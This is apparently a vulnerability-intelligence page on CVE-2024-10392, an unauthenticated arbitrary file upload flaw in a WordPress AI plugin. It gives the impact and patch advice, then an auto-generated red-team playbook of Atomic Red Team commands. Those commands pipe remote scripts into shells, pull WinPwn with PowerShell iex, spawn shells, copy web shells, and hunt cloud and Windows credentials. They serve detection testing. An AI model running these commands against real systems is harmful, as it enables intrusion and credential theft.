CVE-2024-10392
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient file type validation within the 'handle_image_upload' function of the senols AI Puffer WordPress plugin. The affected component fails to properly verify or restrict the types of files accepted during upload, allowing unauthorized files to be stored on the server. This issue exists in all versions up to and including 1.8.89 of the plugin, impacting the file upload handling mechanism.
Vulnerability Description
The AI Power: Complete AI Pack plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'handle_image_upload' function in all versions up to, and including, 1.8.89. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An unauthenticated attacker can upload arbitrary files to the affected WordPress server, which may include executable scripts, enabling remote code execution or persistent backdoor installation. No authentication or user interaction is required (AV:N/AC:L/PR:N/UI:N), allowing attackers to compromise site integrity, exfiltrate data, or disrupt services. This can lead to full site takeover, data breaches, and lateral movement within the hosting environment.
Solution
Users should upgrade the senols AI Puffer (formerly AI Power) plugin to a version later than 1.8.89 where the file upload validation has been implemented. Refer to the Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/cd8a45c9-ca48-4ea6-b34e-f05206f16155) and the WordPress plugin changelog (https://plugins.trac.wordpress.org/changeset/3176122/gpt3-ai-content-generator#file508) for patch details and version-specific fixes. No alternative mitigations are documented in the references.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the AI Power: Complete AI Pack plugin for WordPress arises from inadequate file type validation within the 'handle_image_upload' function. This oversight allows unauthenticated users to upload arbitrary files to the server hosting the affected WordPress instance. The lack of stringent checks on the file types being uploaded means that attackers can exploit this weakness to upload malicious scripts or executables disguised as benign image files. Once these files are on the server, they can be executed, potentially leading to remote code execution, data breaches, or complete server compromise.
Attack vectors for this vulnerability are particularly concerning due to the ease with which an attacker can exploit it. An attacker could craft a malicious payload, such as a PHP script, and rename it with a common image file extension like .jpg or .png. By leveraging the file upload functionality of the plugin, the attacker can bypass security measures that typically prevent the execution of non-image files. Once the malicious file is uploaded, the attacker can execute it by accessing the file directly through the web server, leading to unauthorized actions such as data exfiltration, unauthorized access to sensitive information, or even the installation of backdoors for future access.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on WordPress for their online presence. A successful exploitation could lead to severe business risks, including loss of customer trust, financial repercussions from data breaches, and potential legal liabilities stemming from non-compliance with data protection regulations. Additionally, the compromised server could be used as a launchpad for further attacks against other systems, creating a ripple effect that could affect not only the organization itself but also its customers and partners.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, it is crucial to conduct regular security audits and vulnerability assessments of all plugins and themes used within WordPress installations. This includes monitoring for updates and patches released by developers, as well as employing security plugins that can help identify and block malicious file uploads. Furthermore, organizations should enforce strict file type validation at both the application and server levels, ensuring that only legitimate file types are permitted for upload. Implementing a web application firewall (WAF) can also provide an additional layer of security by filtering out potentially harmful requests before they reach the application.
In conclusion, the vulnerability in the AI Power: Complete AI Pack plugin represents a critical risk for WordPress users, particularly due to its potential for arbitrary file uploads and remote code execution. Organizations must remain vigilant in their security practices, ensuring that they are proactive in identifying and mitigating vulnerabilities. By adopting a comprehensive security posture that includes regular updates, strict file validation, and robust monitoring, organizations can significantly reduce their risk exposure and protect their digital assets from exploitation.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-10392 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/cd8a45c9-ca48-4ea6-b34e-f05206f16155?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3176122/gpt3-ai-content-generator#file508 |